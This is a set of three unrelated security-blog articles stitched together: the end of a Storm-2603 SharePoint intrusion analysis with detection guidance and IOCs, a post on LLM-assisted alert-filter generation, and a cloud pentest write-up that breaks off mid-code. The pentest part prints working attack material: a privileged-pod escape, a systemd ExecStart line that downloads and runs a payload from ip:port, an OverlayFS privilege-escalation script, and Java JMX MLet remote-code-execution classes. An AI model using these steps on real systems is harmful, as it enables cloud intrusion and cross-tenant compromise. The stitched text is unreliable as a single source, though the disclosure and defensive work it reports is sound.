Implements structured bitwise lists and constant flags mapping numeric codes to their security meaning in SAM, and translates system status return codes.

“SAMStructs.cs”

Defines native data structures required for P/Invoke memory alignment and for marshalling. It securely formats and aligns data structures.

“SAMMethods.cs”

Contains external API declarations (P/Invoke) imported from samlib.dll to perform actions such as connecting to the SAM server, creating users and opening domains.

This layer is crucial for the attackers because it enables account operations.

Privilege escalation

The uk namespace contains offensive primitives for privilege escalation. To elevate privileges to SYSTEM, it uses a local token impersonation technique via the Encrypting File System Remote Protocol (EFSRPC) interface adopted from the EfsPotato tool.

This functionality is implemented in the uk/London class. It creates a malicious named pipe while the EfsrTiny class (a tiny version of the EfsPotato tool) connects to the LSASS.exe RPC server. Then it’s London.RpcThread function calls the EfsRpcEncryptFileSrv function from EfsrTiny with a crafted \\localhost path. This tricks LSASS.exe into connecting back to the attacker’s named pipe. Finally, the London.Exp function uses ImpersonateNamedPipeClient to coerce and impersonate the LSASS.exe token and spawn a new process via CreateProcessAsUser with SYSTEM privileges. As the webshell resides in the IIS worker process, it has the necessary SeImpersonatePrivilege to perform this technique.

The uk namespace also implements a minimal MSRPC client layer by explicitly defining structures such as RPC_CLIENT_INTERFACE and MIDL_STUB_DESC, thereby spoofing an interface stub. This enables direct interaction with the Windows RPC runtime (Rpcrt4.dll) without relying on MIDL-generated stubs or higher-level RPC abstractions. This provides direct control over binding and marshaling that goes beyond the constraints of standard client APIs.

Post-exploitation activity

Shortly after the webshell injection, the infected worker process spawned msiexec.exe to install a remote MSI payload hosted in Supabase cloud storage. The payload was Velociraptor, an open-source digital forensics and incident response tool – namely version 0.73.4.0 vulnerable to CVE-2025-6264 – that the attackers abused for command execution on the target network.

In October 2025, Cisco Talos reported Velociraptor being leveraged by threat actors as a post-compromise execution framework and attributed this activity to Storm-2603. This tool enables arbitrary command execution, and can be used for various purposes. In our case, it was used for persistence, discovery, data collection and payload execution.

The threat actor used Velociraptor to deploy multiple independent tunneling mechanisms, including Zoho Assist-Unattended Support for unauthorized remote access, VS Code CLI tunneling, Cloudflare Tunnel, and a lightweight reverse proxy utility. By doing so, they attempted to maintain access even if some of their tools were detected and deleted. At this stage, they also no longer depended on the IIS worker process lifecycle and ToolShell vulnerability.

EDR-killing attempts

Once the threat actor had access to the target system, they were able to upload a vulnerable driver that is used by many attackers to terminate EDR solutions. We were able to detect the main driver at C:\programdata\rsndispot.sys (054a32d6033b1744dca7f49b2e466ea2). In addition, the adversary used a malicious DLL (2d9ebf9c042f596f435865b40edad928) in a sideloading attack. This DLL was identified as Warlock ransomware’s AV killer. It was possibly intended to kill security solutions using the vulnerable rsndispot.sys driver.

Ransomware deployment attempt

The attackers made attempts to launch ransomware on the compromised system. However, the Proactive Defense Module in Kaspersky Endpoint Security blocked the ransomware process, effectively preventing this activity. The malware DLL we obtained was identified as Warlock ransomware.

What defenders really need to look for

ToolPane deserialization and CLR artifacts

When the attackers tried to access ToolPane, both the dynamically compiled App_Web_toolpane.aspx assembly and the Microsoft.GeneratedCode helper assembly were present within the same application domain.

Both assemblies are used in legitimate scenarios. App_Web_* assemblies are generated during normal ASP.NET page compilation, while Microsoft.GeneratedCode is typically produced by the XmlSerializer during legitimate serialization workflows. However, a request to the ToolPane endpoint that results in immediate loading of Microsoft.GeneratedCode within the same execution window indicates that the runtime is processing serialized data supplied through the request.

Detecting deserialization exploitation

First, it is highly recommended to read this article (in Russian) on how deserialization exploit attempts in the CLR should be detected, with examples of YARA rules and monitoring recommendations. A summary of the main idea of the detection logic is provided below.

Deserialization vulnerabilities should be treated as a distinct class of exploitation events. In the CLR, deserialization is not merely the conversion of bytes into values – it is the reconstruction of an object graph from an incoming stream. Serialization and deserialization are performed by formatters. One of the most widely used formatters is BinaryFormatter. It uses the NRBF format, which defines the stream as a sequence of records describing classes, arrays, primitives, and references between objects. The shape of the resulting graph is determined by the data supplied to the deserializer. This means that the input stream defines not only the values but also the specific types, relationships, and lifecycle points that the runtime must materialize.

Microsoft states explicitly that BinaryFormatter is unsafe and cannot be made safe; beginning with .NET 9, the in-box implementation is effectively removed from ordinary use. However, Microsoft continues to use it in its products, including SharePoint, because it is powerful and easy to use. To fix BinaryFormatter-related issues, architectural changes are needed. Similar warnings also apply to related unsafe mechanisms, including LosFormatter (used in the vulnerable page).

The primary risk of unsafe deserialization is that the CLR may resolve unexpected types, instantiate objects outside normal constructor invariants, and invoke special lifecycle mechanisms such as ISerializable, IObjectReference, IDeserializationCallback, and methods marked [OnDeserialized]. In other words, the attacker-controlled data can force the runtime to construct a graph containing types with executable side effects.

A practical detection strategy should therefore focus on graph-construction artifacts. CLR loader events identify the relevant assemblies and application domains. Memory and metadata inspection then reveal the type names and generated serializer structures associated with the suspected gadget chain. In ToolShell-like scenarios, unsafe deserialization usually produces helper assemblies (evidence in loader events) with metadata containing fully qualified type names, gadget class names, and string representations of the constructed generic types (just scan via YARA for it). In our case, the artifacts to look for include Microsoft.GeneratedCode, App_Web_toolpane.aspx* (evidence of deserialization in loader events) as well as strings identifying ObjectDataProvider, ExpandedWrapper, and LosFormatter (evidence that the input stream was deserialized into dangerous objects). Note that these indicators are not significant in isolation; their value lies in the fact that they show the runtime has already received data requiring helper code generation to reconstruct a dangerous object graph.

Gadget objects that exploit vulnerabilities like those associated with ToolShell are conveniently represented in corpus-style tooling such as ysoserial.net/YSoNet, which aggregate known gadget chains for unsafe .NET deserialization. For defensive purposes, the value of these projects lies not in their offensive capability but in the catalog of types and structures that can be searched for in streams, memory, and helper assemblies. The presence of any of them in memory or in a helper assembly should be treated as a strong indicator of exploitation.

To simplify deserialization exploit detection, we created a tool named CLRDeserializationExploitFinder. It can detect ToolShell exploitation attempts, as well as other gadget chains covered by ysoserial.net.

Detecting a VPP-based webshell/runtime implant

A mechanism based on VirtualPathProvider should be treated as a separate class of runtime implant (no files involved). In ASP.NET, HostingEnvironment.RegisterVirtualPathProvider registers a new virtual-path provider (VPP) in the application’s compilation system. Once registered, the application can serve virtual paths during dynamic compilation as though they were ordinary on-disk pages. Dynamic compilation does not require the payload to exist as a file in the filesystem. It operates entirely within the trust boundary of the application itself. During the compilation process, temporary files may be generated, but they cannot be treated as reliable forensic artifacts. Because VPPs can also be used for legitimate purposes, the defensive model should begin with an inventory of the legitimate VirtualPathProvider implementations. In all other cases, the registration or use of a new VPP should be considered anomalous.

To see how the dynamic generation of virtual pages using ASP.NET, IIS, and the CLR works, and to learn how to detect such activity, use our project VirtualPathProvider Lab.

The most useful telemetry source for this technique is the Microsoft-Windows-IIS-Configuration ETW provider. To detect virtual paths, events 25 and 47 are of primary value. Event 25 records the mapping of ConfigPath to PhysicalPath, and event 47 records the mapping of the configuration path to a directory. In the case of a VPP-backed path, these events create an inconsistency: IIS and ASP.NET behave as if the path has a physical representation, while the corresponding file does not exist on disk. In the example provided by VirtualPathProvider Lab, this appears as a mapping of the virtual resource googlecheck.aspx to a physical path where no real file is present. This discrepancy between configuration resolution and filesystem reality is the primary indicator of virtual content.

The second indicator is more negative than positive. For disk-backed files, IIS normally creates a FileChangeNotificationMonitor chain, as reflected in events 17, 18, 19, and 21. For virtual paths served by a custom VirtualPathProvider, this chain is absent or does not match the normal profile of an ordinary file because there is no physical object or corresponding on-disk change lifecycle. Consequently, the presence of positive events 25 and 47 combined with the absence of the expected events 17, 18, 19, and 21 for the same path forms a reliable detection pattern: the path exists for IIS as a configuration-resolved resource, yet it is not backed by the filesystem and is not accompanied by normal file-change monitoring.

To sum up, the hunting target here is the discrepancy between how IIS/ASP.NET resolves a resource and what is actually present on the disk and in the change-monitoring chain. For known applications, such cases can be filtered through an allowlist of legitimate VirtualPathProvider implementations. Anything else should be treated as a potential runtime implant and examined using ETW, filesystem verification, and memory inspection of the w3wp.exe process.

Attribution

Microsoft tracks Storm-2603 as a standalone threat actor with no known links to other groups. While they are careful about assessing the actor’s motivation, they mention that it has previously deployed Warlock and LockBit ransomware following active exploitation of on-premises SharePoint vulnerabilities. In the analyzed incident, we observed similar SharePoint exploitation activities, as well as an EDR killer associated with Warlock ransomware and unsuccessful Warlock launch attempts.

Other documented intrusions have identified Storm-2603 as leveraging known flaws within perimeter mail gateways to achieve initial access, subsequently staging the Velociraptor framework with elevated privileges and establishing persistent encrypted tunnels via commercial remote management software to orchestrate secondary lateral movement. This aligns with the post-exploitation behavior we observed in our case. Together with the ToolShell exploitation scenario, this allows us to attribute this case to Storm-2603 with moderate confidence.

Conclusion

From the incident analyzed in this article, the main defensive lesson is that exploiting an internet-facing SharePoint server can enable fileless code execution directly inside the application trust boundary. Storm-2603 did not require a conventional dropper, persistent service, or exposed C2 endpoint; instead, it deployed a webshell inside w3wp.exe, from which tunneling, privilege escalation, credential access, and lateral movement could be orchestrated. Detection therefore needs to move beyond file-based webshell hunting toward runtime behavior, such as anomalous w3wp.exe activity, unexpected outbound connections, RPC coercion, token impersonation, and the introduction of remote-management or DFIR tooling after application compromise.

To correctly attribute malicious activity and develop appropriate response measures, defenders should reconstruct execution chains and temporal relationships across application, host, and identity layers. They should also preserve memory and IIS telemetry, and correlate low-signal reconnaissance with subsequent privileged activity rather than evaluating events in isolation. A confirmed SharePoint exploit with code execution should trigger host-level containment, persistence hunting, credential and exposed MachineKey rotation, and TTP-driven investigation rather than remediation limited to the initial exploit or known IOCs.

Kaspersky products detect the threats mentioned in this article as:

• Trojan.MSIL.Agent.gen
• Trojan.Win64.DLLhijack.cdp

Indicator of compromise

Indicator of compromise	Description
45.91.94[.]204	SPN node
0xFD91321BF7FF7245DDA9B7B5D791ACE8	vskp2 – webshell implant
hxxps://vdfccjpnedujhrzscjtq[.]supabase[.]co/storage/v1/object/public/image/v4[.]msi	Vulnerable Velociraptor package
0x3A55D8F8F29716C694671834D8C6CB29	C:\ProgramFiles\Velociraptor\Velociraptor.exe
hxxps://auth[.]qgtxtebl[.]workers[.]dev/	Velociraptor server URL
199.232.210[.]172	C2 traffic relay
0x991EC6E04413F2D4D29341C17A8A54D5	Abused legitimate VS Code
0x3D553B9061C03F891CE97D7D2E64DDEE	VS Code Insiders for tunneling
91.224.92[.]121	Bulletproof-hosted C2 server
49.51.132[.]100	SPN node
hxxps://github[.]com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64[.]msi	Abused legitimate tunneling tool
0x2C32E44A013CBFC5A323EFB7694701D2	Abused tunneling tool executable
hxxps://files[.]catbox[.]moe/8f7vex[.]msi	Abused Zoho Assist Unattended Agent download URL
0x112A86ECA3CB5A0B5E20AB744CC5AF93	7z.exe renamed for sideloading
0xA930F81E3FB0A226EC5904D9043A17B8	C:\ProgramFiles(x86)\ZohoMeeting\UnAttended\ZohoMeeting.7z
204.76.203[.]219	Bulletproof-hosted C2 server
0x054a32d6033b1744dca7f49b2e466ea2	Vulnerable driver

A modern organization protects its information systems with a whole suite of technologies that generate thousands of security alerts every day. Looking at these alerts in bulk, you’ll see that a significant share are false positives. Ideally, these alerts would be filtered out automatically so that analysts could focus on the ones that may point to a real incident. However, writing filters is a time-consuming task in itself. To create a correct filter, an analyst needs to:

• Review the logs
• Identify the source of the activity
• Define filtering boundaries
• Choose filtering criteria
• Write a rule
• Check that the filter is robust

This post looks at how filter creation itself can be automated to reduce analyst workload.

Filter validity criteria

In the context of security alerts, a filter is a combination of event field values that marks a detection as a false positive and not worth the analyst’s attention. Filters can be generated for any combination of event fields, but not every combination yields a valid filter. That’s why we need to define validity criteria: conditions showing that a specific filter actually removes noise and doesn’t suppress useful alerts.

Detection rules in security systems typically contain a set of conditions, and each of them can generate an alert. A specific event triggers a given fragment of a detection rule. The set of events that a given fragment responds to is what we’ll call its context. A good filter should cover the entire context where possible, without going beyond it. Filters that are too broad or too narrow are useless. For example, a filter based solely on PowerShell would exclude too many events, including some that deserve the analyst’s attention. Most of the filtered events would also be unrelated to the rule in question. A filter on a specific ID, on the other hand, would cover only one event, which may never recur.

Problems in filter generation

We can run into a number of problems when creating filters. First, events often contain an excessive number of fields (around 400 on average), and most of them aren’t needed for filtering. At the same time, generating and ranking combinations of these fields is also fairly resource-intensive. So, the first step is to discard the irrelevant fields and keep only those worth using in the filter. For example, out of 400 fields in an event, four may be enough for filtering.

Another problem is string normalization. Field values (for example, the path to the same application on different systems) can vary depending on system settings, user folder names, and so on. For a filter to account for all these variations, the strings must be normalized. For file paths, in particular, you can replace the drive letter and user folders with standard environment variables and convert all paths to a single case.

Finally, if a filter completely mirrors the query of a detection rule, it effectively disables that rule. To fix this, remove the event fields used in the detection rule from the filter. For example, if a rule triggers on a file path, there are two ways to filter out unwanted alerts:

• In the filter, use fields other than the file path.
• Use a part of the file path that the rule doesn’t use. For example, for the rule file_path: ".../something.exe", you can set up a filter that excludes events with the user/unique_files/ directory in the file path.

Filtering security alerts with an algorithm

Given the problems described above, automatically generating filters for security alerts should consist of the following steps:

1. An analyst receives a security alert that they assess as a false positive and uses the filter generator.
2. The generator takes the 400-field event from the alert, along with the rule that triggered on it, and determines the context.
3. The generator selects the fields that are relevant to the filter.
4. The generator normalizes the strings.
5. The generator builds different combinations of the selected fields. To do this, we applied the FP-Growth (frequent pattern growth) algorithm to the context determined earlier. FP Growth builds a tree of frequently occurring items (fields) from a dataset (in our case, the context) and discards items that aren’t frequent enough. This reduces the number of combinations to check, which lowers the cost of finding the most relevant ones.
6. The generator ranks the resulting combinations and offers the analyst the top three to choose from.

For example, consider an event described by the following JSON:

After generating and ranking the combinations, we got three filters based on file paths:

• processcmdline:("nodejs\\node.exe" AND "*****\\appdata\\roaming\\npm\/node_modules\/pi-coding-agent\/dist\/cli.js")

• file_path:"*****/.pi\\agent\\bin\\fd.exe"

• processcmdline: "programfiles\\nodejs\\node.exe"

The last filter turned out to be too broad, but the analyst marked the other two as valid.

Pros and cons of the algorithmic approach

The algorithmic approach to filter generation has several advantages. First, it’s simple and deterministic: the same alert always produces the same result. Second, it’s interpretable, meaning we can see why a given combination ranked near the top of the list and why a particular field didn’t make it into the list of candidate fields at all. Third, the stages of the process are independent of each other, so individual steps can be improved and tuned without the risk of breaking the algorithm elsewhere. Finally, it has no external dependencies or models, which makes it easy to deploy in any customer environment.

However, it also has drawbacks. The first is its dependence on context. If there’s no context for some reason — for example, the rule’s first-ever trigger — a filter can’t be created. The second problem is string normalization. There’s a high chance of running into atypical cases that the normalization rules don’t cover. Often such cases can’t be described correctly at all, because they contradict each other.

These problems can be solved with large language models (LLMs). When an LLM generates the filters, no context is needed, because the LLM doesn’t iterate over or rank combinations. The LLM also takes a more flexible approach to string normalization, including non-standard cases. That said, an LLM doesn’t have to be involved at every stage of the generation process. We decided to keep the algorithmic solution where it works well. For example, a simple algorithm selects suitable fields without errors, so we didn’t move this stage to the model.

Filter generation with an LLM

The LLM-based filter generation looks like this:

The input is still an alert containing an event with 400 fields, plus the rule that triggered on that event. Then an algorithm selects the most suitable fields for the filter. Next, the LLM processes the input — the event, the selected fields, and the detection rule — and generates three filter options along with an explanation for them. The explanation helps the analyst understand why these particular filters were suggested and make an informed choice.

Consider the following event in JSON format:

The LLM suggested three filter options that all contain the same command line fragment:

• file_path: "\\WindowsPowerShell\\powershell.exe" AND filecmdline: "Get-VM -Name kafka\*"

• filecmdline: "Get-VM -Name kafka\*"

• filecmdline: "kafka*"

As in the previous example, two of the three output filters were valid. The last one was too broad to be usable. The analyst chose the first filter with minor edits:

file_path: "powershell.exe" AND filecmdline: "Get-VM -Name kafka\*"

Pros and cons of generating filters with an LLM

Using an LLM solved the problems of purely algorithmic filter generation: dependence on context and errors in string normalization. However, the single-request approach had its own drawbacks. First, it had no output validation. The LLM returned filters as-is, with no syntax check and no way to correct errors. Second, unlike in the algorithmic version, all filter generation tasks were handled by a single system prompt. As a result, a minor fix in one place could break the logic in another.

Using multiple AI agents

To address the problems of generating filters with a single model and a single system prompt, we tried distributing the tasks across different LLM agents. In this version, we brought in agents as early as the stage of selecting relevant fields. The chain includes four agents in total:

• Selector: selects the relevant fields.
• Generator: generates filters.
• Validator: evaluates the generated filters. If the filters are found to be invalid, it returns the task to the generator. If the selected fields are found to be irrelevant, it starts a new field selection cycle. If the filters pass validation, or the limit on regeneration attempts is reached, the valid filters (or the best ones available) are passed to the analyst.
• Commentator: analyzes the output filters and explains which field values were used and why.

For the following JSON event, the agents produce three valid filters based on the file path.

The filters differ in the additional parameters that support the detection:

• file_path:"sysvol\\domain\\scripts\\logon.bat"

• file_path:"sysvol\\domain\\scripts\\logon.bat" AND file_md5:"0x7..6E"

• autorun_entry: "Group Policy\\State" AND file_path: "SYSVOL\\domain\\scripts\\logon.bat"

Pros and cons of the agent-based approach

LLM agents give us a system that can validate and correct filters. Its modular architecture also lets us tune and improve different stages of generation independently. However, this approach makes more LLM calls than the previous ones, so the system is slower. It also depends on access to a model, which may not be available in the organization’s isolated environment.

Evaluating the filter generation system

To evaluate how well the filter generation system works, we use two main metrics:

• Approval rate. For each security alert, the system suggests three filters. If the analyst selects at least one of them, we count the generation as successful. For example, in the case below, the approval rate is 2/3.
  
• False positive reduction rate (FP drop). This metric shows how much a filter helps reduce the number of false positives. It can only be measured over time, because we need to compare the number of false positive alerts received during a set period before and after the filter is deployed.

Below is a comparison of the three filter generation approaches by these metrics:

As the results show, LLMs significantly improve the efficiency of filter generation. At the same time, the LLM agentless and agent-based approaches perform almost identically. So we chose the simpler and faster option: an LLM with a single system prompt. As a result, we cut false positives by 99%, increased the number of filters generated per day by 28%, and made analysts’ alert handling 17% more efficient.

Takeaways

Practice has shown that filter generation can be automated effectively. We’ve looked at several options for automatically generating filters for false-positive security alerts: a purely algorithmic approach, an LLM-based approach, and an approach built on a group of LLM agents. All of them can generate valid filters and make the analyst’s work much easier, but each has its own pros and cons.

The algorithmic approach scored lower on the evaluation metrics, but in two-thirds of cases, it still produces filters that satisfy the analyst. It works especially well when there’s already a set of similar events to filter out, meaning enough context has accumulated. The algorithmic generator can also be deployed in any environment. Both standalone LLM and multi-agent LLM approaches show high accuracy, and their results differ only slightly, so the slower agent-based approach looks excessive at this stage. If an LLM is available, the best option appears to be a single model that handles several stages of the generation cycle.

This article is published for educational purposes only, to raise awareness among information security professionals. The research was part of an official bug bounty program on a major platform. We notified the cloud provider about the vulnerabilities in line with our responsible disclosure policy, and all security issues we found were fixed in full. The infrastructure analyzed in this post has been anonymized, so the organization cannot be identified. We believe that regular pentests, bug bounty programs, and conversations between developers and independent researchers are the foundation of security for any IT product.

Introduction

Many experts believe that cloud data breaches are mostly the customers’ fault, caused by issues like misconfigured storage or open ports. However, our penetration test of a major cloud provider demonstrated that critical threats can originate within the provider’s own infrastructure.

This analysis is based on a real-world case that won second place in the System Hacking (Web & Logic) category at Russian Pentest Award 2026. It covers the sequential exploitation of several vulnerabilities and logic errors. Together, they led to critical business consequences and a complete bypass of tenant isolation within the cloud. On October 22, 2026, I presented a technical analysis of this case in my “Smash the Tenant Boundary” talk at Security Analyst Summit (SAS 2026).

1. Gaining initial access through a managed Kubernetes cluster

Our cloud infrastructure pentest followed the threat model of an external attacker with the privileges of a regular tenant. The ultimate goal of the attack was to assume full control of the cloud.

1.1. Escaping the worker node

First, we created a resource in the cloud’s managed Kubernetes cluster (v1.25.16+k0s.0). As a rule, the provider deliberately withholds SSH access to worker nodes from tenants, because they’re paying for a managed service, not for running servers themselves. In this case, however, the cluster’s security policies did not prevent the creation of privileged pods with access to host namespaces. This enabled us to deploy a pod and switch the execution context to the host machine running the container.

kubectl run pod-name-bla \
   --image=alpine \
   --restart=Never \
   --overrides='
 {
   "apiVersion": "v1",
   "spec": {
     "hostPID": true,
     "containers": [
       {
         "name": "priv",
         "image": "alpine",
         "command": [ "sh", "-c", "sleep 3600" ],
         "stdin": true,
         "tty": true,
         "securityContext": {
           "privileged": true
         }
       }
     ]
   }
 }'

After creating the privileged pod, we ran the nsenter command inside the container. It moved the execution context to the host machine:

nsenter --target 1 --mount --uts --ipc --net --pid – bash

After this, the bash shell ran on the actual host machine, not inside the container. Because the pod was privileged, we got full root access to the host machine.

Next, we analyzed its file system. While researching the data plane, we found a Konnectivity service token. This component provides a tunnel between the control plane and the data plane of a Kubernetes cluster. It was this component that opened up interesting opportunities for developing the attack.

1.2. Analysis of control plane services

After gaining access to the host machine (the worker node mentioned earlier), we analyzed its network interfaces: the user VPC and the Calico interfaces. We extracted the kube-apiserver address (192.168.0.4) from the kubelet configuration file. A subsequent scan of this address revealed the following open ports:

192.168.0.4:9443 open https status=404
192.168.0.4:2380 open
192.168.0.4:6443 open http status=400
192.168.0.4:8132 open
192.168.0.4:9100 open http status=200 title="Node Exporter"
192.168.0.4:9308 open http status=200 title="kube-state-metrics"

Of greatest interest is port 8132, where Konnectivity runs. This service creates a reverse tunnel between the control plane and the data plane so that the data plane is visible from the control plane. This allows management components to communicate with worker nodes, even behind a NAT. The Konnectivity token found earlier granted permission to interact with this service.

1.3. Exploiting Konnectivity

To analyze the service on port 8132, we deployed a local test environment. We found that v1.25.16+k0s.0 uses a fork of konnectivty-server, inherited from apiserver-network-proxy in the original Kubernetes.

A quick primer on k0s: this is a minimalist Kubernetes distribution designed for cloud providers. It’s a convenient base for deploying managed clusters (mk8s) with minimal resource overhead. An important feature of k0s is that running user pods on control plane nodes (also known as master nodes) is disabled by default. This meets mk8s security requirements for control plane isolation.

Port 8132, mentioned above, hosts AgentService, which provides a single method: Connect. This method accepts a Packet stream.

service AgentService {
  rpc Connect(stream Packet) returns (stream Packet) {}
}

The code revealed an interesting detail: when AgentService receives a packet of the type DIAL_REQ from a worker node, the server calls the net.Dial() function on the control plane side. The packet structure for the Connect method looks like this:

//apiserver-network-proxy/konnectivity-client/proto/client/client.proto:26

enum PacketType {
  DIAL_REQ = 0;
  DIAL_RSP = 1;
  ...
}

message Packet {
  PacketType type = 1;

  oneof payload {
    DialRequest dialRequest = 2;
    DialResponse dialResponse = 3;
    Data data = 4;
    CloseRequest closeRequest = 5;
    CloseResponse closeResponse = 6;
    CloseDial closeDial = 7;
  }
}

message DialRequest {
    // tcp or udp?
    string protocol = 1;
    // node:port
    string address = 2;
    // random id for client, maybe should be longer
    int64 random = 3;
}

The server reads any Packet packets from the stream initiated by the agent (worker node):

//apiserver-network-proxy/pkg/server/server.go:721
in, err := stream.Recv()
...
recvCh <- in

Next, the packets go to the backend manager:

//apiserver-network-proxy/pkg/server/server.go:748

func (s *ProxyServer) serveRecvBackend(...) {
    for pkt := range recvCh {
        switch pkt.Type {

Then comes the most interesting part:

//apiserver-network-proxy/pkg/server/server.go:888

case client.PacketType_DIAL_REQ:
    req := pkt.GetDialRequest()
    klog.V(5).InfoS("Received DIAL_REQ", "target", req.Address)
    s.handleDialRequest(pkt, backend)

In other words, a DIAL_REQ that comes from the agent (worker node) was considered valid and passed to the packet handler for the corresponding type (DIAL_REQ).

//apiserver-network-proxy/pkg/server/server.go:921
func (s *ProxyServer) handleDialRequest(pkt *client.Packet, backend Backend) {
  ...
  dialReq := pkt.GetDialRequest()
  resp.GetDialResponse().Random = dialReq.Random

  start := time.Now()
  conn, err := net.Dial(dialReq.Protocol, dialReq.Address) // we control proto and address

This created an SSRF primitive in the control plane context, which made it possible to reach not only network resources but also host UNIX sockets. D-Bus (- /run/dbus/system_bus_socket) was chosen as a promising target for interaction. The busctl utility revealed the following services available on the control plane:

org.freedesktop.DBus
 org.freedesktop.PackageKit
 org.freedesktop.PolicyKit1
 org.freedesktop.login1
 org.freedesktop.systemd1
 com.ubuntu.SoftwareProperties

Using the org.freedesktop.DBus.GetConnectionCredentials method with a custom D-Bus client we wrote on top of github.com/godbus/dbus/v5, we were able to retrieve the UID of the current process. In this case, it was 997. Unfortunately, it wasn’t root, which means we couldn’t instantly start a system service in systemd. However, it was still possible to create a user service (system –user). To do this, we first enabled lingering for our UID:

busctl --address=unix:path=/tmp/master-dbus.sock \
  call org.freedesktop.login1 \
       /org/freedesktop/login1 \
       org.freedesktop.login1.Manager \
       SetUserLinger ubb 997 true false

The following sockets were then opened:

/run/user/997/bus
 /run/user/997/systemd/private (this socket is the equivalent of running commands through systemctl --user.)

Through this new socket, we called the StartTransientUnit method of the org.freedesktop.systemd1.Manager service:

StartTransientUnit(
  name: string,
  mode: string,
  properties: a(sv),
  aux: a(sa(sv))
) -> job object path

The properties parameter is exactly where you pass the standard systemd service definition directives. We added the following line:

ExecStart=/bin/sh -c "bash -lc 'curl ip:port/payload -o /tmp/love;chmod +x /tmp/love; setsid /tmp/love '"

As a result, we successfully received a callback from the control plane.

Mirantis, the company behind the k0s project, confirmed the vulnerability.

1.4. Privilege escalation on the host

Since konnectivity-server runs with limited privileges by default, the next step after achieving RCE on the control plane was to escalate those privileges. An analysis of processes on the control plane node revealed a running salt-minion service. Root privileges allow authentication in salt-minion as that minion and further attacks against it (more on that later).

In our case, the target host ran Ubuntu 22.04 with kernel version 5.15.x. Because user namespaces were enabled, a known bug in OverlayFS offered a viable path to privilege escalation: it allows a file to retain the cap_setuid+eip capabilities after namespace manipulation.

To exploit the vulnerability, a copy of the python3 interpreter was created with the setuid capability set, which made it possible to gain root privileges.

rm -rf /tmp/lpe
mkdir /tmp/lpe
cd /tmp/lpe

unshare -rm sh -c '
 mkdir l u w m &&
 cp /usr/bin/python3 l/ &&
 chmod 755 l/python3 &&
 setcap cap_setuid+eip l/python3 &&
 mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
 touch m/*
'
getcap /tmp/lpe/u/python3
/tmp/lpe/u/python3 -c 'import os; os.setuid(0); os.system("id; /bin/sh")'

Gaining root privileges opened up several interesting attack vectors:

1. We discovered an eth2 interface on the 100.64.0.0/10 subnet on the host. The cloud’s overlay network turned out to be flat, providing visibility into all managed services.
2. The system stored a salt-minion key pair. This significantly expands the attack surface by providing access to the managed cloud’s own control plane through SaltStack.

2. Adventures in the overlay network

2.1. Victoria stack

An examination of network activity within the managed resource immediately yielded interesting results. Traffic analysis revealed requests from a specific IP address to collect node metrics from our kube-state-metrics instance in mk8s. The IP address turned out to belong to a metrics collector, one of the VictoriaMetrics instances serving numerous managed resources. Like Prometheus, the VictoriaMetrics API exposes a list of targets from which it collects metrics.

When we queried the http://100.64.13.37:8429/api/v1/targets endpoint, we found that each target’s labels contained valuable metadata:

"discoveredLabels": {
           "__address__": "http://100.64.1.1:6897/metrics",
           "__meta_url": "CENSORED",
           "__metrics_path__": "/metrics",
           "__scheme__": "http",
           "__scrape_interval__": "2m0s",
           "__scrape_timeout__": "2m0s",
           "cluster_id": "676767",
           "customer": "customerID",
           "job": "http",
           "profile": "kubernetes",
           "vds_id": "1337",
           "version": "1.0"
         }

It’s worth noting that a single VictoriaMetrics query returns a full list of control plane hosts that belong to other cloud tenants. Port 6897 indicates that the kube-state-metrics exporter is running, and the profile: kubernetes field further confirms the target type at this address.

We found another host from the Victoria ecosystem on the same network: VictoriaLogs. The service’s web interface on port 9428 also exposes API endpoints that can reveal sensitive data. For example, the /select/logsql/query endpoint allowed unauthorized access to all logs from any managed resource in the cloud.
Analysis of the control plane logs for mk8s revealed a critical detail: the cloud-init scripts generated private SSH keys for the root account by default. These keys were printed to stdout and automatically saved in the shared system logs.

Correlating certain label values from VictoriaMetrics helped us reconstruct the target host’s original names. This makes it easier to filter data in VictoriaLogs and unambiguously match a compromised private key to the target node where it can be used.

We could use the compromised private key for a privileged account to connect to the target nodes over SSH and gain full control of other tenants’ clusters.

Logs from other types of services could likely reveal additional sensitive data that would further increase the impact.

2.2. Compromising managed Kafka instances

We explored the option to deploy managed Apache Kafka resources. As expected, we also found these instances on the flat overlay network. One Kafka host had port 9999 open, which turned out to be a JMX Registry.

The JMX Registry mechanism is inherently vulnerable: it returns an RMI stub-host to the calling client, which allows remotely loading an arbitrary custom MBean class and executing arbitrary code. We ran an nmap -sC scan against the registry port to identify the exact port of the RMI service we would interact with next. To carry out the attack, we prepared a set of Java scripts with the following structure:

• JmxCreateMBean.java: connects to the JMX Registry and creates an MBean component, javax.management.loading.MLet (a class that loads classes from a specified URL).
• JmxInvoke.java: invokes the selected MBean method through the JMX Registry.
• ExecMBean.java and Exec.java a custom lightweight test MBean component with a run(String cmd) method that provides an interface for remote command execution.

The code that handles the connection and initialization of the MBean component looks like this:

//JmxCreateMBean.java
...
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;

public class JmxCreateMBean {
    private static final class RewritingSocketFactory extends RMISocketFactory {
        private final String fromHost;
        private final String toHost;

        RewritingSocketFactory(String fromHost, String toHost) {
            ...
        }

        @Override
        public Socket createSocket(String host, int port) throws IOException {
            ...
        }

        @Override
        public ServerSocket createServerSocket(int port) throws IOException {
            ...
        }
    }

    public static void main(String[] args) throws Exception {
        ...
        RMISocketFactory.setSocketFactory(new RewritingSocketFactory(args[2], args[3]));
        String url = String.format("service:jmx:rmi:///jndi/rmi://%s:%s/jmxrmi", args[0], args[1]);

        try (JMXConnector connector = JMXConnectorFactory.connect(new JMXServiceURL(url), new HashMap<>())) {
            var mbsc = connector.getMBeanServerConnection();
            try {
                ObjectInstance created = mbsc.createMBean(args[4], new ObjectName(args[5]));
                System.out.println("CREATED " + created.getObjectName() + " " + created.getClassName());
            } catch (InstanceAlreadyExistsException e) {
                System.out.println("EXISTS " + args[5]);
            }
        }
    }
}

Below is the implementation of the malicious Exec.java class, which provides methods to execute shell commands and read and write files with Base64 encoding:

// Exec.java
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Base64;

public class Exec implements ExecMBean {
    @Override
    public String run(String cmd) throws Exception {
        Process p = new ProcessBuilder("/bin/sh", "-c", cmd).redirectErrorStream(true).start();
        byte[] out = p.getInputStream().readAllBytes();
        int rc = p.waitFor();
        return "rc=" + rc + "\n" + new String(out, StandardCharsets.UTF_8);
    }

    @Override
